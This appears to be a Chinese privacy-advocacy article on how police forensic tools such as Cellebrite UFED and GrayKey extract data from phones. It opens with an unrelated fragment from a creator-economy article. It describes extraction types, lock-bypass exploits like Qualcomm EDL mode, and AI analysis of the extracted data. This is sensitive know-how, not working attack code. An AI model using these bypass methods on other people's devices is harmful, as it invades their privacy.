创造者经济是你和我意识到互联网最终让我们所有人自生自灭的逻辑结论，为了我们能找到的任何注意力和金钱碎片而相互争斗。这并不漂亮，也不迷人；这就是生存。

没有人能真正赢得这场游戏。但就像在生活中一样，如果你有幽默感和一个牛逼的屁股，那就会容易得多。●

The sexfluencers

原文

警察查手机的东西长什么样？—— 从技术角度看移动设备取证 - iyouport

你应该了解的现实你我的灾难现实长读

【2020年8月21日存档】这是一个不断快速发展的领域，因为设备和功能的变更很快。但目前为止它已经足够危险，于是，人们必须至少了解它能做到什么、如何做的，才能有希望开启公正的辩论。

关于移动设备取证的概述，您可以回顾早前的文章《数字取证正在泛滥：政府可以从你的手机中提取哪些数据？》

本文将引用公开获取的信息以及 Privacy International 使用 Cellebrite UFED Touch 2 进行手机提取的经验来研究移动设备取证技术。

欢迎该领域专家的意见。这是一个快速发展的领域。即便手机制造商宣布了新的安全功能，提取数据的技术也能找到新的方法来绕过限制。

手机提取技术的一般说明

「图」

移动电话提取技术（也称为移动取证）需要与目标设备进行物理连接。就是警察把您叫到警局里去用的那个东西。

虽然取证专家、黑客和销售间谍软件的任何人都能够访问和提取数据 —— 甚至可以远程做到这件事，但本文仅着眼于将其产品出售给执法部门的最知名的商业公司，例如 **Cellebrite**、**Oxygen Forensic Detective** 和 **MSAB**。

Android 和 iOS

「图」

在研究提取技术时，我们的分析重点是 Android 和 iOS。 Android 是全球领先的手机操作系统，“根据IDC的数据，在2017年第一季度，Android 占据了整个行业85%的市场份额。”

iOS在安全性方面处于领先地位，并提出了最大的法证挑战。“ …没有密码，我们几乎无法从现代iOS设备中提取任何东西。”

例如，iOS 的USB受限模式（最早出现在iOS 11.4.1中）在最后一次解锁一小时后禁用USB通信，这会导致进行数据提取的行为出问题。

随着iOS发行版中USB限制模式的发展，对于取证界的许多人来说，这仅仅是要克服的挑战。

这不奇怪，移动电话提取技术完全可以被描述为军备竞赛，供应商不断寻求克服手机安全性增加的障碍。

“我们想从坏消息开始：如果您正在研究运行 *iOS 8* 或更高版本的 *iPhone* … 解锁它的机会根本上不高 … 在*iOS 11*上，这个问题变得更加严重 —— 即使受检查的设备本身没有密码保护，检查者仍然需要密码，因为必须输入密码来确认设备与工作站之间的信任。”

在取证功能方面，iOS 和 Android 之间的一个重要区别是，尽管 Apple 可以直接向用户推送更新、修补漏洞，但 Android 用户主要依靠制造商和运营商来提供更新。

⚠ 这导致许多 Android 手机运行的是较早版本的操作系统，也就是说，意味着各种形式的提取都是可行的。各种各样的操作系统版本和使用它们的硬件平台提供了广泛的数据提取方法。

漏洞

「图」

在评估 MPE 技术时，该项目着眼于一些用于获取数据的漏洞，尤其是对于 Android 手机而言，例如对具有高通芯片组的设备使用紧急下载模式。

当前警察都使用哪些技术来访问、提取和分析手机中的数据？

“移动设备取证可能是数字取证领域曾经或将要看到的最迅速发展的

学科，主要是因为实际设备的环境瞬息万变。

设备操作系统每一天都在变得更加先进，并且当前设备上的存储容量是天文数字。当今的设备是移动计算平台，但是访问这些设备中包含的数据比从任何其他数字设备访问数据都要困难得多。”

访问手机和提取数据并不是什么新鲜事。但是，随着每个人手机上数据量的爆炸式增长、以及“移动设备景观日新月异”，访问、提取和分析这些数据的能力变得越来越困难和复杂。

从芯片组（高通，联发科技）到操作系统版本，提取技术会因手机的硬件和软件而异。从移动设备提取数据是成功的一半。操作系统、安全功能和智能手机的类型将决定您对数据的访问量。”

加密和其他安全措施也带来了重大挑战。

“随着移动技术的不断成熟以及安全性和加密技术的不断增强，知道如何在受密码保护的智能手机上访问数据变得越来越困难。”

有三种通用的提取类型：逻辑、文件系统和物理 —— 这提供了一种考虑提取技术的框架。

没有单独一种技术可以访问和提取所有电话中的所有数据，并且不能保证一种提取方法能够成功。

正如电话取证公司 MobilEdit 所承认的那样，在评论美国国家标准技术研究院（NIST）用于移动设备获取的测试结果时：

“在经过测试的竞争工具中，各个数据类型之间的结果存在显著差异。每个工具都能够展示出相对于其他工具的某些优势，并且没有一个工具能够在所有测试类别中都表现出优越性。我们的结论是，执行交叉引用工具分析时，成功率显著提高。在现实世界中，当有案件时，每一项证据都很重要。结合使用多种工具，您可以获得高达 ***89.6***%的总体成功率。”

物理采集通常是首选方法。它从设备存储中以二进制形式提取原始数据。即使有可能，也存在一种观点，即“应该始终获得逻辑采集，因为它可能仅包含解析的数据并提供检查原始内存映像的指针。”

诸如移动设备的状态之类的因素将确定是尝试逻辑提取还是物理提取。

“检查的类型取决于设备的电源状态以及设备是否被锁定、是否受密码保护还是被禁用（拆卸或损坏）… 并非所有移动设备都可以进行物理提取。例如，*iPhone 5 ~ X* 无法使用非侵入性方法进行物理提取”。

进行手机提取的现实情况是，您将常常不得不尝试使用该工具提供的所有类型的提取。但是，执行此操作的能力将受到时间、资源和专业知识的限制。

⚠云提取是一个发展中的领域，您可以在这里看到详细解释《让政府机构从您使用的应用程序中提取大量数据的秘密技术：云取证》。

由于掌握了保存在远程服务器中的内容，并且没有数字取证技能的人都可以访问，并可以花钱买到完全抓取的一键式的技术，这种发展尤其令人不安。

云提取是从手机上的内容到可访问所有内容的飞跃，它是对加密和设备锁定的一种反应，这些加密和设备锁定使传统手机取证变得困难甚至不可能，然而却对存储在云中的任何信息量做出了完全的响应。以下是文件内容：

“当今的数字调查人员不应忽略存储在各种云服务中的数据的重要性。云数据非常重要，从传统来源（例如移动设备、闪存介质或计算机）收集的信息是有限的，不确定的或根本无法获得的。”

⚠ 提取数据后，就会提供一些令人印象深刻的产品来读取和分析提取的数据。这些产品越来越多地具有人工智能功能以协助取证人员。

分析：访问和提取：物理、逻辑、文件系统

「图」

首先分析提取的三种主要类型：逻辑、文件系统和物理以及用于执行提取的工具。这些方法的技术性以及它们可以提取的数据的类型和数量各不相同。*Summary of types of data that can be extracted using logical, file system and physical extraction. Source: Cellebrite article*

如 Magnet Forensics（下图）中的幻灯片所示，可以通过 iTunes / ADB 备份或安装代理来实现逻辑提取。使用特权访问（例如 root 或越狱）的文件系统；和物理使用恢复或引导加载程序的方法。*Common Acquisition Methods. Source: Magnet Forensics*

还有其他侵入性方法可以从电话中提取数据。 JTAG（联合测试行动小组）、ISP（系统编程）和 Chip-off —— 与最新技术相反，它更多地依赖于取证技能，因此在此进行了简要介绍。

JTAG用于在制造后验证设计并测试印刷电路板。它涉及连接到标准测试端口以传输来自存储芯片的原始数据。ISP “是为了下载设备的完整内存而连接到 eMMC 或 eMCP 闪存芯片的一种做法”。Chip-off 是一种破坏性方法，该方法基于从系统板上卸下内存芯片，并且使用芯片读取器来提取存储数据。

最后，手动提取不需要复杂的工具，并且：

“ … 只涉及滚动设备上的数据，并通过使用设备的键盘或触摸屏直接在手机上查看数据。然后将发现的信息以照相方式记录下来 …… 在此级别上，无法恢复已删除的信息并获取所有数据。*”Cellebrite UFED Touch 2. Source: Privacy International*

Cellebrite UFED Touch 2 options. Source: Privacy International

逻辑提取

「图」

“逻辑提取是关于提取逻辑存储对象，例如文件系统上的文件和目录。

使用设备制造商的应用程序编程接口来进行手机的逻辑提取，以使手机中的内容与计算机同步。

许多取证工具都执行逻辑提取。它很容易执行，并且只恢复手机上的文件，而不恢复未分配空间中包含的数据。”

它是什么？

「图」

在三种提取类型中，逻辑被认为是最快的、最不侵入性的、但最受限制的。它会创建用户可访问文件的副本，例如电话簿、电话、消息、一些应用程序数据、以及您可能希望从 iTunes 或 Android 备份获得的其他数据。即 如果您手动检查设备上的每个屏幕，将会看到的东西。

MSAB 自称为 “移动设备取证技术的先驱”，它将其 XRY Logical 推销为 “我们为法证研究人员提供的入门级解决方案，以及我们许可证选项的起点”。

“ XRY Logical 使用户能够进行快速提取（*iTunes* 备份、*Android*备份、*Android Agent*），并且适合于 *“*抽检*”* 检查模式。*”MSAB’s XRY Logical. Source: MSAB website*

MSAB XRY Logical. Source: MSAB website

MSAB XRY Logical. Source: MSAB website

Logical extraction of author’s iPhone SE using Cellebrite UFED. Source: Privacy International. Red numbers in brackets indicate recovery of deleted items. Cellebrite UFED logical extraction can therefore recover deleted data.

如果某些应用未备份到构成提取一部分的文件中，则逻辑提取可能会排除这些应用中的数据。要访问这些应用程序，您需要访问文件系统。*Magnet Forensics Webinar. Source: Magnet Forensics*

因此，您仅能获得可通过供应商的API获得的信息，手机会限制您可以访问的内容。但是，对于 Android 手机，可以通过将目标应用程序降级到允许adb备份的旧版本来获取应用程序数据。

据报道，此功能在较新版本的 Android 中被阻止。尽管 Cellebrite UFED 7.16 在APK降级方法上进行了更新，但它表示 “可以从运行6.0及更高版本的 Android 设备上的40多个应用程序中访问文件系统数据”。

逻辑提取通常不包括数据的完整逐位副本，也不会恢复已删除的数据。但是，如果使用 SQLite 数据库（例如 Cellebrite 的 SQLite 向导）来存储数据，则可以恢复已删除的记录，包括短信、聊天记录和浏览历史记录。

它是如何工作的？

「图」

逻辑提取包括 “通过USB电缆、RJ-45电缆、红外或蓝牙将移动设备连接到取证硬件或取证工作站”。

连接电话后，取证工具“启动命令并将其发送到设备，然后由设备处理器解释。”取证工具与移动设备的操作系统进行通信。

“… 从设备的内存中接收并发送回取证工作站。稍后，审查员可以检查数据。当前可用的大多数取证工具都在这一级别上工作。”

使用应用程序编程接口（API）是执行逻辑提取的一种方法。Cellebrite 是一家受政府机构欢迎的领先取证公司，他们说：“从技术角度来看，基于API的逻辑提取很容易实现，并且结果以可读格式提供。

Cellebrite 的 UFED Touch（带有UFED软件的硬件）和 UFED 4PC（安装在计算机上的软件）通过使用API与设备的操作系统进行通信来工作。

“数据的逻辑提取大部分是通过设备供应商提供的指定*API*执行的。正如*API*允许商业第三方应用程序与设备*OS*进行通信一样，它还支持取证声音数据。

连接后，*UFED*将相关的供应商*API*加载到设备。然后，*UFED*进行只读*API*调用以从电话中请求数据。回复有效的*API*请求以提取指定的内容项，例如文本消息（*SMS*）、电话簿条目、图片等。”

使用 Cellebrite UFED Touch 2 在 iPhone 上进行逻辑提取的方式类似于 iTunes 或 iCloud 进行备份的方式，它在电话屏幕上显示提取数据的各种提示，例如“备份呼叫数据”（Y/N）

一些取证工具会将App或代理安装到设备上，以尝试提取其他数据。

“最好的移动取证软件，例如：*UFED (Cellebrite), Oxygen Forensic, XRY (Microsystemation), Secure View (Susteen), MOBILedit Forensic* 都可以通过在设备上安装代理程序来从 *Android* 设备提取数据。”

MobileEdit Forensic 扫描连接的设备，如果检测到 Android 设备，则上传代理 Forensic Connector，并使用此代理从设备中提取数据。

即使解锁，也不保证所有设备都可以进行逻辑提取。例如，Cellebrite 的产品更新列出了支持的手机：*Cellebrite Product Update. Source: Cellebrite website*

利用漏洞

「图」

与所有形式的提取一样，有几个因素会影响是否可能。

首先是操作系统。如果是 Android，则已启用USB调试，从而启用了设备上的ADB服务器并且已接受RSA密钥（安全提示），已将个人计算机（“ PC”）和电话配对，于是可以执行逻辑提取。

如前所述，这通常是ADB备份，结合了将 Android APK 推送到设备并使用可用命令来提取活动记录，如 SMS / MMS、呼叫日志和联系人。

Mikhaylov 指出，根据所使用的 Android 版本，激活USB调试模式需要采取不同的步骤。要启用USB调试，将需要密码。尽管某些运行Android的设备似乎是出厂时默认启用调试的（例如，隐私国际组织在2016–17年测试的 Innotab Max）。

USB调试模式是 Android 手机中的开发人员模式，它允许通过USB将新编程的应用程序复制到设备进行测试。它允许 Android 设备从计算机接收命令、文件等，并允许计算机从 Android 设备提取关键信息（例如日志文件）

启用USB调试会使设备暴露在外。 ADB Android Debug Bridge 是Google的 Android SDK 附带的命令行实用程序，它可以用计算机通过USB控制您的设备。

如果没有USB调试，除非使用漏洞，否则不太可能进行逻辑提取。

根据诸如电话类型、使用的漏洞、软件版本等因素，都有可能进行逻辑提取。

查看此问题的另一种方法是考虑用户数据是否存储在闪存中，如果存储，则是否受到保护并且需要root访问权限才能读取。

Magnet Forensics 的 Christopher Vance 描述了一个逻辑提取漏洞的示例，它只能针对文件系统的特定区域：

“*/media/ directory* 可以容纳更多内容。它还可以包括文档、从*Web*浏览器下载的内容、*WhatsApp* 聊天备份、以及开发人员选择在此处存储的第三方应用程序数据。”

使用媒体传输协议（MTP）提取加密和损坏的 Samsung Galaxy S7

SM-G930V（无法输入密码或打开USB调试的情况下）是避免密码和授权的一种选择。

但是，虽然适用于某些 Android 手机，但三星v.6在将其插入计算机后已将默认连接类型更改为 “仅充电”，因此必须启用MTP。Magnet AXIOM 具有 “高级MTP旁路方法”：

“ … 为未收到 *SMR-OCT-2017* 或 *SMR-NOV-2017* 安全更新的三星设备获取设备上 */ media / partition* 的快速映像（修补程序的确切更新取决于设备型号）。iPhones 即使该设备未启用*MTP*或已被密码锁定，该选项也使我们能够提取一些数据进行分析。”

解锁 iPhones

「图」

虽然 “ … 解锁 iPhone 就可以获得逻辑提取”，但锁定的 iPhone 还是有问题的，因为有两种单独的状况要处理。

如果找不到标准的 iTunes 提供的驱动程序，并且默认恢复MTP模式，则激活与计算机的配对模式并允许 iTunes 备份；如果设备在进行提取的PC上具有有效的配对记录，则可以从锁定的 iPhone 获得逻辑提取。不幸的是，没有它就无法获得。

在较旧的iOS版本中，可以从已锁定的iPhone中仅获取MTP提取，但此问题已得到修补，新版本就不行了。

文件系统提取

「图」

从技术上讲，文件系统提取通常被视为一种逻辑提取。与所有形式的提取一样，文件系统提取的功能将取决于设备。

文件系统提取比逻辑提取能获得略多一些的数据，在文件系统提取中，整个文件系统都能被提取出来。

“它包含的信息比定义的逻辑提取要多得多，因此应被视为逻辑提取的进一步提升。文件系统包含设备用来填充应用程序、系统配置和用户配置以及用户存储区域的文件和文件夹。”

它包含用户无法通过设备界面直接访问的文件，并且需要专用工具来访问文件系统工件。它不会提取未分配的空间。

使用专有文件系统的功能手机可以收集并显示其文件系统，包括系统文件、用户数据库、媒体、用户文件、日志、用户设置等。 … 通过拥有实际的文件，您可以进行更详细的分析，应该认为它比“逻辑”所定义的价值更大。”

文件系统提取通常需要root，因为超级用户才有权对手机系统中任何位置的任何文件执行任何操作。

Cellebrite UFED 的 “高级逻辑提取” 结合了iOS和Android设备的逻辑和文件系统提取，是无法进行物理提取的替代方法。它们的解释是：

在使用*A5-A11*芯片（*iPhone 4s*和更高版本）的*iOS*设备上进行物理采集是不可能的。因此，高级逻辑提取方法是最好的支持，并且如果这些设备被解锁（即使它们没有越狱），也完全可以从这些设备中提取最多的数据。如果设备越狱，则可以提取其他数据。”

它是如何工作的？

「图」

文件系统提取很少被识别为一种独特的提取形式。而 Cellebrite 几乎独特地促进了UFED的文件系统提取，并且是少数引用该方法的公司：

“使用 *UFED Physical Analyzer* 提取文件系统几乎与物理提取相同，因为它依赖于引导加载程序来访问设备的内存；但是，该软件不会仅提取设备文件系统而不获得包括未分配空间的逐位映像。这种提取过程是专有的，而不是依赖于***Apple***的 ***API***。”

MSAB 没有特定的文件系统产品，仅是 XRY Logical 和 XRY Physical。Oxygen Forensics 是指将文件系统提取作为 “经典逻辑” 的一部分。

利用 Magnet 的提取工具，您可以选择提取过程，可以从所有iOS和Android设备进行 “快速提取”，也可以通过 “已root的 Android 设备的物理映像或越狱的iOS设备的文件系统逻辑映像” 进行全面提取。

“如果设备已*root*，则可以创建物理转储。如果没有*root*，则会创建该

设备的备份，并提取该设备的存储卡中的所有文件。”

但是，文件系统提取是无法物理提取iOS设备的替代方法。不幸的是，密码是必需的。

“从*iOS 8*开始，即使在*32*位设备上，即便移除密码也是没有意义的。解密数据分区所需的加密密钥是根据用户输入（密码）和 *Secure Enclave* 的密钥动态计算得出的。没有正确的密码，*iPhone*将保持加密；根本没有办法解决。”

Secure Enclave 是 “基于硬件的密钥管理器，与主处理器隔离，可提供额外的安全性。” 结果是加密密钥受 Secure Enclave 保护，即使设备越狱也无法访问。

但是，“换句话说，必须知道密码，才能对从iPhone 5s开始的所有iPhone设备进行（有限的）物理采集。”如果您越狱了设备，则可以获得文件系统提取。为此，您需要使用密码启动和解锁设备。

“换句话说，必须知道密码，才能对从 *iPhone 5s* 开始的所有 *iPhone* 设备进行（有限的）物理采集。”

“ *Secure Enclave* 为*iOS*法证审查员带来了新挑战。现在，我们无法提取解密设备映像所需的加密密钥，因此物理提取无用。但是文件系统的提取可以。不幸的是，这要求将*iOS*设备越狱。”

与逻辑提取不同，一旦获得了文件系统，就需要对其进行解码。

解码过程将数据库文件中的原始数据转换为可识别的格式。通过API和备份提取的数据不需要解码，可以显示媒体文件，例如在设备上看到的图片和视频。但是，必须单独解码其他数据库文件（例如包含文本消息的文件）中的数据，以解析出这些消息。

UFED Physical Analyzer 会自动执行此解码过程，以人类可读格式以及原始数据存储在设备内存中的形式显示解码后的数据。” UFED Physical Analyzer 会自动执行此解码过程，以人类可读格式以及原始数据存储在设备内存中的形式显示解码后的数据。”

利用漏洞

「图」

Cellebrite 声称使用其内部实验室 “Cellebrite Advanced Services” 提

取了iOS设备的完整文件系统，可以从32GB闪存中获取21GB。

Cellebrite 宣传其 “高级服务” 不是将重要的漏洞释放给 UFED，例如，这将为Apple提供修补漏洞的机会。而是没有公开披露的用于执行**iOS**设备的完整文件系统提取的漏洞。*Cellebrite Advanced Services. Source: Cellebrite webinar*

这样做有三个主要好处。首先，⚠可以从第三方应用程序获取数据，比如*WhatsApp*、*Facebook Messenger*、*Telegram*。除非执行完整文件系统提取，否则无法恢复数据。这些应用程序以及更多应用程序可以保存有助于您结案的关键信息。”

⚠ 即：完整文件系统提取可以获取 iTunes 备份中排除的第三方应用程序。它还可以识别目标设备的位置，显示系统日志和应用程序日志数据。*Cellebrite comparison between iOS advanced logical and full file system extraction. Source: Cellebrite webinar*

Cellebrite Advanced Services 的使用一直存在争议。 去年6月，英国数字证据实验室 Sytech 的一名前雇员表示了对证据处理的担忧，其中包括 “在没有监察的情况下将手机发送到国外进行解密”。

Magnet Forensics 还指出，它可以获取完整的文件系统。它与 GrayKey 合作提供了 “最先进的解决方案，可从iOS设备恢复数据，包括完整文件系统、解密的钥匙串和进程内存，而其他工具则仅限于 iTunes 备份。” 据说 GrayKey 可以解锁iOS设备并绕过USB受限模式。

Magnet Forensics 报告称，他们随后可以获取第三方应用程序数据，而不止 iTunes 备份、Apple Mail数据、Web缓存和应用程序缓存、操作系统数据、位置数据、钥匙串数据、和一些已删除的消息等方面：

“ *GrayKey* 可以获取设备的完整文件系统映像，这意味着与我们的标准工件一起存在的临时文件或支持文件现在可供审查。

最好的示例是 *sms.db-wal* 文件，该文件与 *sms.db* 位于同一目录中。*sms.db* 允许检查者恢复和解析 ***iMessage***、***SMS***消息和***MMS***消息。

但是，由于该数据库利用了SQLite的 “预写日志” 功能，因此实际上将消息写入到 sms.db-wal 文件中，然后再提交到 sms.db。这可能会导致恢复可能已删除的消息时出现问题，具体取决于消息在删除之前在设备上的停留时间。

如果消息在发送/接收后立即删除，那么使用标准 *iTunes* 式提取来恢复这些消息的可能性要小得多。但是，由于 *GrayKey* 允许我们提取完整的文件系统，因此我们现在可以访问此文件，并且 ***AXIOM*** 将尝试保留预写日志中留下的任何消息痕迹，包括可能删除的消息。”

鉴于 iPhone 漏洞的价值，关于文件系统提取的信息很少。诸如 Android 之类的其他操作系统也没有太多信息，也许是因为仍然有可能执行作为首选的物理提取。

物理提取

「图」

物理提取可以获取 “服务数据、应用程序和用户数据”。可以从物理转储中恢复已删除的文件。

物理提取是物理存储/整个文件系统/设备内存的逐位副本，或作为十六进制转储。它通常需要特定的电缆连接，并且涉及将手机引导到自定义操作系统或重置。

物理提取通常会花费很长时间，因为它也会带来可用空间，但是可用空间可能包含已删除的信息，因此从警察的角度来看可能是值得的。

“长期以来，物理提取一直是手机和嵌入式设备的理想取证方法。传统上，此方法包括对存储芯片的物理访问，以获得对基础闪存的原始读取。这种方法不仅可以访问数字数据，而且可以通过对物理存储进行快速分析，发现未使用的区域和块，这其中可能包含已删除的数据并具有重要的取证价值。”

⚠ 它是所有提取中最全面、最具侵入性的，并且包含手机上所有未分配的空间，因此它可能包含已删除的文件。

“ *Cellebrite* 的物理提取功能可以访问已分配和未分配空间中的其他数据层，这些数据层构成了电话的物理内存。这些层包括与调查人员相关的三组不同的内容：

无法通过*API*获得的“逻辑”内容（例如，手机上的通话记录）；

已删除的内容；

手机收集的内容无需任何用户操作（有时无需用户了解）。例如：*Wi-Fi*网络，*GPS*位置，网络历史记录，电子邮件标头以及图像和系统

数据上的*EXIF*数据。*”MSAB’s XRY Physical. Source: MSAB website*

它是如何工作的

「图」

十六进制转储，也称为物理提取，是通过将设备连接到取证工作站并将未签名的代码或引导加载程序推入手机，指示手机将内存转储到计算机来实现的。

由于生成的原始映像为二进制格式，因此需要技术专家进行分析。该过程… 为检查者提供了更多的数据，并允许从大多数设备上未分配的空间中恢复已删除的文件。”

MSAB 声明其 XRY Physical 产品通过绕过操作系统访问所有系统和已删除的数据。它们可以克服（某些）锁定设备上的安全性和加密挑战。

“对移动设备数据的物理采集应该意味着与设备内部的数据存储进行直接通信，以采集存储在实际设备闪存中的数据。这些数据是闪存存储区域中的快照，可以通过专门的工具和方法来获取。”

“在整个磁盘上启用加密功能后，除非检查员能够检索到设备的加密密钥，否则整个物理读取将无法使用。

XRY Logical 的 *XRY Physical* 插件可以让用户对一些 *Android* 设备进行密码旁路、板载存储芯片读取等高级移动取证任务。”

在 Android 手机上，此方法通常需要卸下电池关闭手机电源，而且充电线通常是专用的而不是使用标准的充电线。

Cellebrite 会全程指导必须进行哪些步骤，什么时候必须进行，包括开机时需要按住哪些按钮才能开启 FastBoot、Bootloader、Recovery、Factory Reset等，具体取决于目标设备。

设备进入 FastBoot 后，Cellebrite 的工作相当自动，它有时会提示你在手机屏幕上选择选项或重启手机。

物理提取, 我们做了一个 iPhone 4 的实验, 在iOS引导过程中使用的一个bug允许无符号代码执行 (其技术用于越狱旧的 iDevices) Cellebrite 然后运行了自己的操作系统，而不是iOS，以从手机中提取数据.

物理提取可能使用手机的救援模式或下载模式。”在这种模式下运行，手机在启动时，可以在*RAM*中插入一小段代码，称为引导加载程序”，引导加载程序会读取设备内存中的内容，并将其送回提取设备。*Cellebrite* 指出，”… 在设备启动的初始阶段，*UFED* 会将引导加载程序发送到设备上。*Physical extraction using a bootloader. Source: Cellebrite article*

Cellebrite 的引导加载程序是针对每个单独的设备平台内部设计的，同时考虑了芯片组、外设、内存芯片接口和USB控制器的种类。

“*UFED* 已经获得了数据解密后访问操作系统内部的权限。然后，它可以以解密形式提取原始的、块级的数据。再次通过利用 *Cellebrite* 发现的漏洞来实现。这些漏洞在被发现后很少会对公众开放。很多时候，***Cellebrite*** 的安全研究实验室对漏洞及其带来的机会拥有独家了解。

⚠ 随着*iOS*和 *Android* 软件的发展，隐私保护、沙盒隔离机制和安全缓解措施的推进，这些知识只会变得更加值钱。”

iOS挑战

「图」

苹果的iOS系统为物理提取带来了最大的障碍。在 iPhone 4S 之前，你可以在 iPhone 上进行物理提取。但是自从 iPhone 4S 以及其他已经进入市场的设备，由于硬件加密的原因，要想进入到设备中是非常困难的，甚至是不可能的。虽然一些厂商的说法是 “可以”。

“物理采集在恢复*iOS*设备上的数据方面具有最大的潜力；然而，这些设备上目前和不断发展的安全功能（安全引导链、存储加密和密码）可能会阻碍数据在取证过程中的可访问性。

研究人员和商业取证工具供应商正在不断尝试新的技术来绕过安全功能，在*iOS*设备上进行物理提取，但对于最新的机型来说，唯一可用的选择就是越狱，即使是这样也无法帮助你用 ***Secure Enclave*** 对设备进行物理提取……”

Elcomsoft iOS Forensic Toolkit 5.0表示，它可以实现iOS 12的物理提取。这听起来和上面介绍的Cellebrite的全文件系统提取类似。它可以提取文件系统的内容，并解密**iOS**密钥链中存储的密码和验证凭证。在 “没有越狱 “支持的设备上都可以实现。

⚠ *“Elcomsoft iOS Forensic Toolkit* 支持从越狱和非越狱的*64*位设备中提取和解密数据的所有可能选项，包括上一代苹果硬件和软件。

在没有越狱的情况下，可以通过*iOS*系统备份、提取共享的*App*数据和媒体文件，进行逻辑提取。

在某些情况下，如果 ***iPhone*** 被锁定，甚至也可以进行逻辑提取。如果能越狱，就可以对*64*位 *iPhone* 的文件系统进行镜像，提取受保护的应用数据和工作数据集。”

“物理采集与所有其他采集方式相比具有众多优势，可以访问文件系统中受保护的部分，并提取不与 ***iCloud*** 同步或不包含在本地备份中的数据。

特别是，物理提取是唯一一种针对最高保护级别的密钥链项目的解密方法。文件系统提取可以获得对应用沙盒和所有系统区域的完全访问权限，⚠提取私密聊天记录，恢复已删除的邮件，下载电子邮件、聊天记录和双因素身份认证应用中的秘密、系统日志和详细的位置数据等，都是文件系统提取的独家功能。”

针对 iOS 11 设备的 Elcomsoft iOS Forensics Toolkit 使用经典越狱。

“取证专家们使用越狱的原因与热心用户相比有很大不同。安全漏洞正是他们想要暴露设备的文件系统、规避iOS沙盒保护和访问受保护的数据的途径。越狱可以从设备中提取最大的数据集。在越狱过程中，iOS的许多软件限制都是通过软件漏洞来消除的。

除了沙盒之外（包括对话历史记录和下载的邮件），还可以提取和解密钥匙链，这是一个广泛存储在线密码、认证令牌和加密密钥的系统。与从受密码保护的本地备份中获得的钥匙链项目不同，越狱设备的物理提取可访问具有最高保护等级的钥匙串项目。”

Android – Using vulnerabilities：紧急下载模式

「图」

“这似乎不寻常，但可以在不进行*root*的情况下对安卓设备进行物理转储，不需要 *JTAG* 和 *Chip-off* 方法。”

紧急下载（EDL）模式是一个被用来进行物理提取的漏洞。它适用于部分但不是所有搭载高通芯片组的设备。EDL是高通公司用于手机诊

断和修复的救援模式，它通过各种触发器或当设备无法启动时暴露出来。它“设计用于允许低级别访问芯片组以进行设备分析、维修或重新设计。”

Cellebrite 公司有多种准备好的“编程器”，这些“编程器“是“包含原始闪存读写功能的软件片段”。可以通过设备验证的厂商签名进行数字签名，所以要让EDL接受和验证一个编程器，它必须与硬件和签名要求相匹配。

当 Cellebrite 的UFED启动 EDL 提取流时，它将自动尝试将其现有编程器与硬件和签名要求进行匹配。如果有匹配，那么它将拥有闪存的读取权限。如果对某款手机没有签名需求，那么它就会匹配硬件。据 Cellebrite 称，**UFED**有一个专有的漏洞利用，可以绕过多个芯片组的签名要求。

将设备置入EDL模式的方式因手机而异，从 Cellebrite 的UFED等各种可以支持的技术到需要取证技巧的侵入性技术，不一而足。如果 Cellebrite 支持 EDL，UFED 可以指导你做什么，比如说，按住VOL向上和向下。*Using EDL Mode. Source: Cellebrite webinar*

Cellebrite 的 UFED 有解密和非解密 EDL 提取选项。如果设备被加密，这两种方案都可以在模式或密码锁定的设备上工作。加密设备的解密提取将需要设备启动，这样UFED就可以应用解密引导加载程序，而非解密EDL提取则不需要。

对于这两个选项，在使用UFED时，用户将能够选择将设备置于DFU（诊断模式）FTM（出厂测试模式）。这两种模式都使用EDL方法。

Cellebrite 还提高了使用“智能” ADB的能力：

“凭借这一突破性的功能，*Cellebrite* 可以在启用*ADB*的情况下恢复对许多启用了全盘加密的新设备的物理提取访问权限。该方法需要安卓*6*及以上版本，并对许多厂商有广泛的通用覆盖。”

Oxygen Forensic Detective 指出，使用EDL模式“可以使研究人员在电话成功进入EDL模式后，在400多种独特设备上利用这种非侵入式物理提取技术和锁屏旁路。”*How to get a device into EDL mode. Source: Cellebrite webinar*

Physical extraction of author’s HTC Desire using Cellebrite UFED.

Source: Privacy International

分析：对提取的数据进行分析

「图」

提供了许多具有令人印象深刻的分析功能的工具，以帮助警察处理提取出来的数据。

“有很多工具可以对运行 *Android* 操作系统的移动设备进行物理转储和备份分析。这些工具包括在所有最好的移动取证工具中，如*UFED* 物理分析器（*Cellebrite*）、*Oxygen Forensics*（*Oxygen Forensics*，*Inc*）、*XRY*（*MSAB*）、*MOBILedit Forensic Express*（*COMPELSON Labs*）和*Secure View*（*Susteen*）等。”

“使用第三方工具进行检查和分析，一般是将设备的内存转储导入移动取证工具中，由移动取证工具自动调取结果。”

Cellebrite 的物理分析器是一款用户友好型软件，可以组织不同文件类型的数据，从 XML、CSV、TXT 到 CDR、媒体和文本等。它可以将来自不同设备的数据集汇集在一起，对数字媒体进行识别和分类。可以显示提取的所有信息。它还具有相当大的数据挖掘和可视化功能。

⚠ 关系分析是用来分析电话、邮件文本和位置数据，通过不同类型的数据发现个人之间的关系。正如 Peter Sommer 教授在向英国议会作证时指出的那样：

⚠ “它还利用数据可视化/联系分析技术来展示电话号码之间、*IP*地址之间的联系频率、金融交易和事件年表等。

英国警方正在试用 Cellebrite 的机器学习工具，以解释图像、匹配面孔并分析目标人的交流方式。

Cellebrite 指出：

⚠ “… 数据可与其他关键信息来源一起提取，如电子邮件和社交媒体账户的在线活动等。

然后利用人工智能和机器学习对这些来源进行过滤、比较和分析，以产生可操作的洞察力，如地点定位等。

提取的数据可以与网站或社交媒体账户等公共来源的数据相结合，以找到关键信息并进行比较。

警察可以利用这些综合数据建立目标人的详细档案。这些数据还可以建立目标事件的时间线，帮助警察确定发生了什么，并为起诉汇编正确的证据。”

Magnet AXIOM 还利用机器学习：

“机器学习通过 *Magnet.AI*，提供.....一种经过 “训练 “的预测仪器，可以识别属于.....类别的信息。”

“随着 *AXIOM 2.0* 的推出，*Magnet.AI* 模块现在可以识别可能包含儿童性侵、裸体、武器和毒品等描写的图片。我们还扩展了文本分类模型，还能检测出潜在的性暗示对话。”

⚠ 2017年8月，Cellebrite 为其分析平台推出了所谓的 “先进机器学习技术”，可用于分析从云端提取的数据，其中包括人脸识别和匹配。

从2019年7月起，Oxygen Forensic Detective 内置的 Oxygen Forensic JetEngine 模块，利用自身技术对人脸进行分类。

不仅提供提取数据内的人脸分类和匹配，人脸分析还包括性别、种族和情绪识别。

- 《情绪监控已成为主流：你的表情能掩盖住内心吗？》

